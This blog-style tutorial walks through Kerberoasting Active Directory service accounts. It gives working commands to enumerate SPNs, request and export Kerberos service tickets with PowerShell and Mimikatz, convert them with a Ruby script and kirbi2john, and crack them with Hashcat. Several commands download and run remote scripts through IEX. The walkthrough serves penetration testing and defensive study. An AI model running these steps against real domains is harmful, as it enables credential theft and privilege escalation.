Kerberoasting Common tools
Before going deeper into Kerberoasting lets understand some of the concepts firsts .
The Kerberos authentication system is built on top of tickets served by KDC. The core idea behind Kerberos is that the users don’t share account passwords to each service they want to use. Instead, they share a ticket which they get from KDC.
When a user first starts using the system, they will use their password to get a master ticket called a TGT (ticket-granting ticket). This master ticket expires in 25 hours, after which, the user will need to enter the password again to get another one.
When the user needs service access, that uses Kerberos, they will show that master ticket (TGT) to the Kerberos server and get a ticket specifically for that service. Then, shows the ticket just for that service to the service to prove who you are.
Steps in Kerberos Authentication
1. Password converted to NTLM hash, a timestamp is encrypted with the hash and sent to the KDC as an authenticator in the authentication ticket (TGT) request (AS-Request).
2. The Domain Controller (KDC) checks user information & creates Ticket-Granting Ticket (TGT).
3. The TGT is encrypted, signed, & delivered to the user (AS-Reply). Only the Kerberos service (KRBTGT) in the domain can open and read TGT data.
4. The User presents the TGT to the DC when requesting a Ticket Granting Service (TGS) ticket (TGS-Request). The data in the TGT is effectively copied to create the TGS ticket.
5. The TGS is encrypted using the target service accounts’ NTLM password hash and sent to the user (TGS-Reply).
6. The user connects to the server hosting the service on the appropriate port & presents the TGS. The service opens the TGS ticket using its NTLM password hash.
What are SPNs
[Service Principal Names](https://msdn.microsoft.com/en-us/library/ms677949(v=vs.85).aspx) (SPNs) are:
a unique identifier of a service instance. SPNs are used by Kerberos authentication to associate a service instance with a service logon account.” – MSDN
Basically mapping a service running on a server to an account it’s running as so that it can do/accept Kerberos authentication. Normally, these services, like “CIFS” (Windows Shares) run under the context of the computer account.
Why should I care?
Any valid domain user can request a kerberos ticket for any domain service (or even services outside the domain as long as there is a trust there). Once the ticket is received, password cracking can be done offline on the ticket to attempt to break the password for whatever user the service is running as. The users running these services usually are at the very least administrators on the computers for which they are a service on, but more commonly they are some sort of administrative account (Domain Admins).
Listing SPNs
Ok, so, now you know the background and why you want to do this attack, but how do we go about listing what SPNs are out there for the domain you are on. There are a ton of ways to do this:
SetSPN
SetSPN is a tool built into Windows and will do that job perfectly just as Tim Medin describes in his presentation and Kerberoast Github repo:
C:\>setspn -t certcube.info -q */*
Each line that starts with “CN” is an account” and the SPNs under it are the ones associated with that account. Lots of great information can be determined just from the output of this command. Even though for cracking purposes we only want the SPNs associated with possibly weak password accounts (usually only User accounts), we should still pull this information down
Get-SPN
This module gives you a lot more information than SetSPN did. Having the PasswordLastSet and LastLogon helps to figure out when and if an account has ever been used. In the example below the “sqladmin01” account has never logged on and was created recently. If this password cracks then there is a good chance that it is some common password set when setting up accounts
Disclaimer: As of this writing, this module only works with PowerShell 3.0+
PS C:\> IEX (New-Object Net.WebClient).DownloadString(“https://raw.githubusercontent.com/
nullbind/Powershellery/master/Stable-ish/Get-SPN/Get-SPN.psm1″)
PS C:\> Get-SPN -type service -search “MSSQL*”
PowerShell Empire
This module basically just incorporates the script from above.
Disclaimer: As of this writing, this module only works with PowerShell 3.0+
GetUserSPNs.vbs
GetUserSPNs was the first script to focus only on accounts that were Users. When you are looking at a network that has 40,000+ Windows boxes and all of the has the “HOST” SPN, it’s a lot to trudge through. This script cuts the fat and just gives you the list of SPNs that have a much higher chance of having their accounts cracked.
C:\temp> cscript GetUserSPNs.vbs
GetUserSPNs.ps1
I really like this script because it tells you the time the password was last set. This allows for you to make educated selections on which accounts to attack with your password cracking. (More hashes needed to crack, the longer it takes)
Below I use the IEX (Invoke-Expression) command in PowerShell to download and run the PowerShell script directly from Tim’s repository, but you could just as easily upload it and run it.
PS C:\> IEX (New-Object Net.WebClient).DownloadString(‘https://raw.githubusercon
tent.com/nidem/kerberoast/master/GetUserSPNs.ps1′)
Impacket
#./GetUserSPNs.py -dc-ip 192.168.168.10 certcube.info/notanadmin
Requesting SPN Kerberos Tickets
PowerShell Requesting
These are stolen directly from Tim Medin @timmedin‘s Kerberoast repository README.md
One specific ticket:
This is great if you are targeting one specific user account:
PS C:\> Add-Type -AssemblyName System.IdentityModel
PS C:\> New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList “HTTP/web01.medin.local”
All the tickets (including Computer account tickets):
I’m not a huge fan of this method since you get too many tickets to deal with but it’s a great example of how to use PowerShell to parse and request things like this:
PS C:\> Add-Type -AssemblyName System.IdentityModel
PS C:\> setspn.exe -T medin.local -Q */* | Select-String ‘^CN’ -Context 0,1 | % { New-Object System. IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }
PowerShell Requesting – Just Users
Getting just the User tickets:
This is a slightly modified version of Tim’s script from above. It pulls down his GetUserSPNs powershell script instead of using SetSPN.exe and makes a request for each of the resulting SPN tickets.
PS C:\> Add-Type -AssemblyName System.IdentityModel
PS C:\> IEX (New-Object Net.WebClient).DownloadString(“https://raw.githubusercontent.com/nidem/kerberoast/master/GetUserSPNs.ps1”) | ForEach-Object {try{New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.ServicePrincipalName}catch{}}
Exporting the tickets
Now we need to get the tickets out of the system we just requested them to. We can do this with Mimikatz both by itself, or directly in Empire:
Mimikatz
Using the kerberos::list /export functionality is awesome, but this will generate a file per-ticket. I have been on a few engagements where that meant 4000+ files. Luckily the awesome @gentilkiwi saves us and has included a “base64” mode for Mimikatz
So here we are simply pulling the Invoke-Mimikatz script that @JosephBialek “clymb3r” created, into memory, telling Mimikatz to go in “base64” mode, export all of the active tickets and exit.
PS C:\> IEX (New-Object Net.WebClient).DownloadString(“https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1”)
PS C:\> Invoke-Mimikatz -Command ‘standard::base64 “kerberos::list /export” exit’
I’ve cut the result down quite a bit as it would scroll for a bit in this format.
Now the problem is that they are all text and for you to crack things or at least convert them into a format that JtR or oclHastcat can digest they need to be in binary format. So I made this script to convert and agent.log file from the output of extract_tickets back into their binary format with correct file names. My coding isn’t great, so please let me know how I can improve this script:
- #!/usr/bin/env ruby
- require ‘base64’
- puts ARGV.inspect
- if ARGV.length != 1
- puts “Requires a file to parse, usually agent.log”
- exit
- end
- border = “====================”
- bordercount = 0
- ticket = []
- filename = “failed.log”
- File.open(ARGV[0]).each do |line|
- if line.strip == border
- case bordercount
- when 2
- File.open(filename, ‘a’) {|f| f.write(Base64.decode64(ticket.join))}
- bordercount = 0
- ticket = []
- filename = “failed.log”
- else
- bordercount = bordercount + 1
- end
- else
- case bordercount
- when 1
- filename = line.strip.split(” : “)[1]
- puts “Storing #{filename}”
- when 2
- ticket << line.strip
- end
- end
- end
Save that and just feed it an agent.log file from Empire and WA-LA! you have kirbi files.
ruby parse.rb agent.log
[“agent.log”]
Storing 0-60a10000-notanadmin@krbtgt~SITTINGDUCK.INFO-SITTINGDUCK.INFO.kirbi
Next, we need to convert those binary tickets into something crackable. That is where kirbi2john.py comes in.
Kirbi2John
There are two versions of “kirbi2john”.
- Kerberoast version of kirbi2john.py by Michael Kramer (SySS GmbH)
- John the Ripper’s version of kirbi2john.py by Michael Kramer – modded by Dhiru Kholia
root@wpad:~/johntheripper/run# ./kirbi2john.py /root/empire-dev/downloads/BDW3E2G2ZRKCUS3B/*.kirbi
But all of that is hard and creates evidence. Lets look back at the tools PyKerberoast and Impacket’s GetUserSPNs.py and see if there is a better way:
PyKerberoast
- Source: https://github.com/skelsec/PyKerberoast
- Requirements: python-ldap
This awesome work by @skelsec makes it so no new Kerberos tickets need to be added to the client, no use of Mimikatz, and no need to parse anything, it just contacts the Domain Controller. It pulls out all of the information needed for the SPNs, requests the tickets and outputs them in John the Ripper format.
Usage:
python kerberoastv2.py -a 192.168.168.10 -b “dc=certcube,dc=info” -d certcube -u notanadmin
Impacket
- Original Discussion: https://github.com/CoreSecurity/impacket/pull/153#issuecomment-218438868
- Added May 13 2016: https://github.com/CoreSecurity/impacket/commit/2a185c1ecc0b0a56467f12dfccbd5672ed95adaa
- Source: https://github.com/CoreSecurity/impacket/blob/master/examples/GetUserSPNs.py
Just by adding a -request to our previous run we can request all of the user SPN tickets and they are output in John the Ripper format (I’ve snipped up some of the output to save space):
# ./GetUserSPNs.py -request certcube.info/notanadmin
Much easier 😉 oh, and did I mention that if you use Impacket’s version you can just use LM/NTLM hashes instead of a password? Awesome! Alright, all we have left is to crack these tickets and figure out how to use them…
xan7r branched Tim’s toolset and added an autokerberoast.ps1 script that automated large components of this process. Also, @tifkin_ wrote a Go version of a TGS cracker that functioned a bit faster than the original Python version
New Methods In Kerberoasting
A custom-rolled scrip from powersploit includes the Invoke-Kerberoast function, which wraps the logic from Get-NetUser -SPN (to enumerate user accounts with a non-null servicePrincipalName) and Get-SPNTicket to request associated TGS tickets and output John and Hashcat crackable strings. For now, here’s what the output of the script looks like:

It also works across domains!

By default, the John format is output, but -OutputFormat Hashcat will output everything Hashcat-ready. Note that the -AdminCount flag only Kerberoasts accounts with AdminCount=1, meaning user accounts that are (or were) ‘protected’ and, therefore, almost always highly privileged:

Invoke-kerberoast -domain lab.local | select -ExpoertProperty hash | Out-File ASCII ..\file.txt
you will need to pipe the results to Format-List or ConvertTo-Csv -NoTypeInformation in order to preserve the information you want to be displayed.
oclHashcat
John The Ripper is fast, but we need that GPU speed for slow hashes like this. Again, we are on the cutting edge of hashes it seems so we are going to have to build the Github version of oclHashcat
root@sf:~/oclHashcat# ./oclHashcat -m 13100 hash -w 3 -a 3 ?l?l?l?l?l?l?l
Recent Comments